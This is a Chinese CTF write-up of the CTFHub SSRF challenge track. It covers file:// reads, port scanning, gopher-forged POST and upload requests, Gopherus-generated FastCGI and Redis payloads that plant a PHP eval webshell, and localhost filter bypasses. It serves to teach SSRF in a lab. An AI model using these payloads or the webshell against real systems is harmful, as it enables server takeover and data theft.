CTFHub上的SSRF技能树主要分为三部分:
- http、dict和file等协议的利用
- gopher协议的利用
- Bypass
如图所示,依次对应完全三叉树的三颗子树: 笔者对该靶场所需的相关知识进行了总结、拓展,供大家学习参考:SSRF 漏洞学习
内网访问
题目描述:尝试访问位于127.0.0.1的flag.php吧。
进入题目: 可以看到该链接可以传入一个参数url= ,跟据题目描述直接构造payload:url=http://127.0.0.1/flag.php ,成功得到flag。
伪协议读取文件
题目描述:尝试去读取一下Web目录下的flag.php吧。
相关知识:PHP伪协议总结、SSRF中的URL的伪协议、php.ini中allow_url_fopen和allow_url_include的设置
进入题目: 和第一题一样,可以传入一个参数url= ,首先尝试第一题的payload:url=http://127.0.0.1/flag.php 蟹bro,What’s up ??? F12查看页面源码,依旧什么都没有。 根据题目,尝试使用伪协议file:///查看源码:url=file:///var/www/html/flag.php (网站的目录一般都在/var/www/html/下,例如我们常用的phpstudy) F12查看网页源码成功得到flag。
端口扫描
题目描述:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦。
进入题目: 首先依旧尝试第一题的payload,但是人家根本就没有flag.php这个文件。 根据题目描述,尝试在8000-9000范围内进行端口扫描,在这里我们使用burpsuite来完成。
首先打开burpsuite抓包,然后将其Send to intruder。 在Positions中填写参数url=http://127.0.0.1:8000 ,并在8000 两边Add $ 将其设置为payload。 在Payloads中选择Payload type:Numbers ,From:8000 ,To:9000 ,Step:1 ,然后Start attack。 待全部跑完后双击Length从大到小排序,发现8147处Length与其他地方明显不同。 在这里,8147就相当于前面题目中的flag.php,构造payload:url=http://127.0.0.1:8147 ,成功得到flag。
POST请求
题目描述:这次是发一个HTTP POST请求。对了,ssrf是用php的curl实现的,并且会跟踪302跳转,加油吧骚年!
相关知识:PHP使用CURL详解、Gopher协议在SSRF漏洞中的深入研究
进入题目: 发现还是什么都没有。根据CTF常规思路,对其进行目录扫描,成功扫描到index.php和flag.php。index.php应该就是当前页面,尝试对flag.php进行访问。 fine,尝试利用第一题的payloadurl=http://127.0.0.1/flag.php ,成功访问。 F12查看页面源码,得知此处是一个输入框并发现key。 看来应该是让我们把这个key输入进去并提交从而得到flag。为了验证猜想,我们使用 url=file:///var/www/html/index.php 和url=file:///var/www/html/flag.php 分别读出index.php和flag.php的源码。
index.php:
<!--?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);-->
flag.php:
<!--?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?-->
猜想正确。但是这里并没有提交按钮,因此我们对该页面进行F12前端改写,通过创建新节点的方法添加一个submit提交按钮。 添加成功,提交key值。 fine,看来必须从目标机本地访问才能得到flag。根据题目描述,尝试利用gopher协议来构造Host:127.0.0.1 的POST请求。我们首先构造一个最基本的POST请求,也就是说POST请求至少要有以下内容。
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=0396be72b352b4d94f4db91da5e5e3af
注意:Content-Length 的值必须和的POST请求的长度一样。
因为是伪造目标机的HTTP请求,故需对其进行URL编码,结果如下。
POST%20%2Fflag.php%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3D0396be72b352b4d94f4db91da5e5e3af
因为在我们构造POST请求时,是以回车 /r 为换行符的,而在HTTP请求头中,是以 /r/n 为换行符的,所以我们需要将 %0A 替换为 %0D%0A,结果如下。
POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D0396be72b352b4d94f4db91da5e5e3af
/r,/n,/r/n的区别&socket客户端怎么判断http响应数据的结束
URL编码的次数取决于请求的次数。因为payload是作为url= 的参数传递的,故需对其再进行一次URL编码,结果如下。
POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D0396be72b352b4d94f4db91da5e5e3af
利用gopher协议构造payload如下,成功得到flag。
url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D0396be72b352b4d94f4db91da5e5e3af
上传文件
题目描述:这次需要上传一个文件到flag.php了,祝你好运!
进入题目: 受上一题启发,首先进行目录扫描,成功扫描到index.php和flag.php。使用payload:url=http://127.0.0.1/flag.php ,成功访问。 根据题目描述和所得信息,猜想这题和上一题“POST请求”差不多,上一题要求用POST方法传递key,而这一题要求用POST方法传递文件。我们依旧可以将index.php和flag.php的源码读出来。
index.php:
<!--?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
-->
flag.php:
<!--?php
error_reporting(0);
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}
if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
echo getenv("CTFHUB");
exit;
}
-->
可以发现flag.php确实是个文件上传的页面,且仅要求上传的文件大小大于0即可得到flag,并没有任何过滤。接下来我们尝试利用gopher协议上传文件。
只有得到文件上传的数据包,才能编写gopher的payload。因此我们对这个文件上传的flag.php页面进行F12前端改写,添加一个submit提交按钮(这里与上一题“POST请求”相同,点击提交按钮是得不到flag的,必须从目标机本地访问) 添加成功,随便上传一个非空的文件,然后抓包,成功得到文件上传的数据包。 修改Host: 127.0.0.1:80 后复制,按照上一题的操作步骤,先进行一次URL编码,将 %0A 替换为 %0D%0A 后再进行一次URL编码,最后构造payload如下,成功得到flag。
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A91.0%2529%2520Gecko/20100101%2520Firefox/91.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------14020480503183837623450490631%250D%250AContent-Length%253A%2520620%250D%250AOrigin%253A%2520http%253A//challenge-8ae15e816c94c237.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-8ae15e816c94c237.sandbox.ctfhub.com%253A10800/%253Furl%253D127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------14020480503183837623450490631%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522%25C3%25A6%25C2%2596%25C2%25B0%25C3%25A5%25C2%25BB%25C2%25BA%2520%25C3%25A6%25C2%2596%25C2%2587%25C3%25A6%25C2%259C%25C2%25AC%25C3%25A6%25C2%2596%25C2%2587%25C3%25A6%25C2%25A1%25C2%25A3.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250Aurl%253Dgopher%253A//127.0.0.1%253A80/_POST%25252520%2525252Fflag.php%25252520HTTP%2525252F1.1%2525250D%2525250AHost%2525253A%25252520127.0.0.1%2525250D%2525250AContent-Type%2525253A%25252520application%2525252Fx-www-form-urlencoded%2525250D%2525250AContent-Length%2525253A%2525252036%2525250D%2525250A%2525250D%2525250Akey%2525253D7b3de89f2a15dc8d1f5fb2698e1824a1%250D%250A-----------------------------14020480503183837623450490631%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------14020480503183837623450490631--
FastCGI协议
题目描述:这次我们需要攻击一下fastcgi协议咯,也许附件的文章会对你有点帮助。
题目附件:Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
进入题目: 先进行目录扫描,未发现特殊目录。根据题目“FastCGI协议”,猜想是让我们利用SSRF攻击FastCGI。接下来,我们使用Gopherus工具生成攻击FastCGI的payload(Python2环境)。
利用条件:
- libcurl版本>=7.45.0
- PHP-FPM监听端口
- PHP-FPM版本 >= 5.3.3
- 知道服务器上任意一个php文件的绝对路径
首先使用url=file:///var/www/html/index.php 读出index.php的源码,从而验证服务器上存在绝对路径:/var/www/html/index.php 。 然后使用Gopherus工具依次执行以下命令,生成往web目录中写shell的payload。
python2 gopherus.py --exploit fastcgi
/var/www/html/index.php # 这里输入服务器上任意一个php文件的绝对路径
echo PD9waHAgQGV2YWwoJF9QT1NUWydjbGF5J10pOz8+ | base64 -d > /var/www/html/shell.php # 这里输入希望目标服务器执行的恶意命令 成功得到payload,结果如下。
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH135%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%87%04%00%3C%3Fphp%20system%28%27echo%20PD9waHAgQGV2YWwoJF9QT1NUWydjbGF5J10pOz8%2B%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
因为payload是作为url= 的参数传递的,故需对其再进行一次URL编码,结果如下。
这里需要进行两次URL编码的原因是GET和CURL都会进行一次URL解码。
gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2503CONTENT_LENGTH135%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2587%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgQGV2YWwoJF9QT1NUWydjbGF5J10pOz8%252B%2520%257C%2520base64%2520-d%2520%253E%2520%2Fvar%2Fwww%2Fhtml%2Fshell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
通过url= 传递payload,写入webshell。 使用url=file:///var/www/html/shell.php 验证webshell是否写入成功。
验证成功,使用蚁剑一键链接,在根目录成功找到flag。
Redis协议
题目描述:这次来攻击redis协议吧,redis://127.0.0.1:6379。资料?没有资料!自己找!
进入题目: 同上一题“FastCGI协议”,我们依旧使用Gopherus工具,生成攻击Redis的payload。
首先使用url=file:///var/www/html/index.php 读出index.php的源码,从而验证服务器的根目录为:var/www/html 。
然后使用Gopherus工具依次执行以下命令,生成往web目录中写shell的payload。
python2 gopherus.py --exploit redis
phpshell #这里选择是反弹shell还是正向shell
/r # 这里输入服务器根目录,默认为/var/www/htm
<?php @eval($_POST['clay']) ?>
/r # 默认写入根目录的shell.php 成功得到payload,结果如下。
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27clay%27%5D%29%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
同上一题“FastCGI协议”,对其再进行一次URL编码,结果如下。
gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527clay%2527%255D%2529%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
通过url= 传递payload,写入webshell。 使用url=file:///var/www/html/shell.php 验证webshell是否写入成功。 验证成功,使用蚁剑一键链接,在根目录成功找到flag。
URL Bypass
题目描述:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧。
进入题目: 首先进行目录扫描,成功扫描到flag.php。根据题目描述,构造payload:url=http://notfound.ctfhub.com@127.0.0.1/flag.php ,成功得到flag。
题目要求 url must startwith “http://notfound.ctfhub.com”,我们可以利用@来绕过。 如 http://clay@127.0.0.1 实际上是以用户名 clay 连接到站点 127.0.0.1。 即 http://notfound.ctfhub.com@127.0.0.1 与 http://127.0.0.1 请求是相同的。
数字IP Bypass
题目描述:这次ban掉了127以及172,不能使用点分十进制的IP了,但是又要访问127.0.0.1,该怎么办呢?
进入题目: 首先进行目录扫描,成功发现flag.php。根据题目描述尝试绕过127.0.0.1。
- 进制转换
127.0.0.1的八进制:0177.0.0.1 127.0.0.1的十进制:2130706433 127.0.0.1的十六进制:0x7f.0.0.1
经尝试,仅十进制可以绕过。构造payload:url=http://2130706433/flag.php ,成功得到flag。
- 目标替代
http://0/flag.php http://localhost/flag.php http://①②⑦.?.?.①/flag.php http://[0:0:0:0:0:ffff:127.0.0.1]/flag.php
经尝试,仅0和localhost可以绕过。构造payload:url=http://localhost/flag.php ,成功得到flag。
302跳转 Bypass
题目描述:SSRF中有个很重要的一点是请求可能会跟随302跳转。尝试利用这个来绕过对IP的检测,访问到位于127.0.0.1的flag.php吧。
相关知识:HTTP——302临时重定向
进入题目: 尝试使用上一题“数字IP Bypass”的payload:url=http://localhost/flag.php ,成功得到flag。 根据题目描述,这应该是出题时过滤不严而导致的非预期解。预期解应当是编写一个重定向至127.0.0.1/flag.php的302跳转页面,并将其命名为302.php后上传至服务器,从而构造payload:url=服务器ip/302.php 。需要注意的一点是,服务器ip中不能存在黑名单中的数字,例如192。 如果不会编写302跳转页面。On the one hand,可以从网上直接copy源码后加以修改。On the other hand,可以寻找一些提供在线服务的网站。
PHP 302 跳转代码
<?php
header("HTTP/1.1 302 found");
header("Location:https://www.baidu.com");
exit();
?>
PHP 301 跳转代码
<?php
header("HTTP/1.1 301 Moved Permanently");
header("Location: http://www.baidu.com/");
exit();
?>
网络上存在一个很神奇的服务,网址为 http://xip.io,当访问这个网址的时候,都会被重定向至其子域名。举个例子:当我们访问 http://127.0.0.1.xip.io/flag.php 的时候,实际上我们访问的是 http://127.0.0.1/flag.php。
但由于该题的本质是ban掉了127,所以此方法在这里并不适用。
这里给出另一个网址 https://4m.cn/,它提供短链接生成服务。当我们提供一个链接后,它能为我们生成一个较原链接更短的短链接,并使短链接重定向为原链接。
经尝试,该方法可以成功Bypass,也更像是预期解。
DNS重绑定 Bypass
题目描述:关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助。
题目附件:浅谈DNS重绑定漏洞
进入题目: 附件中讲的很清楚,由于我们无法在程序运行时以毫秒为单位手动更改DNS记录,所以要想实现DNS重绑定攻击,就必须配置一个自定义的恶意DNS服务器,并设定好指定域名的解析IP,再将TTL设置为0,使其解析时在非法内网IP与合法其他IP间反复横跳。我们可以自己编写解析服务,也可以利用测试dns重绑定漏洞的网站,让一个域名随意绑定两个IP。 构造payload:url=指定域名/flag.php ,成功得到flag。
|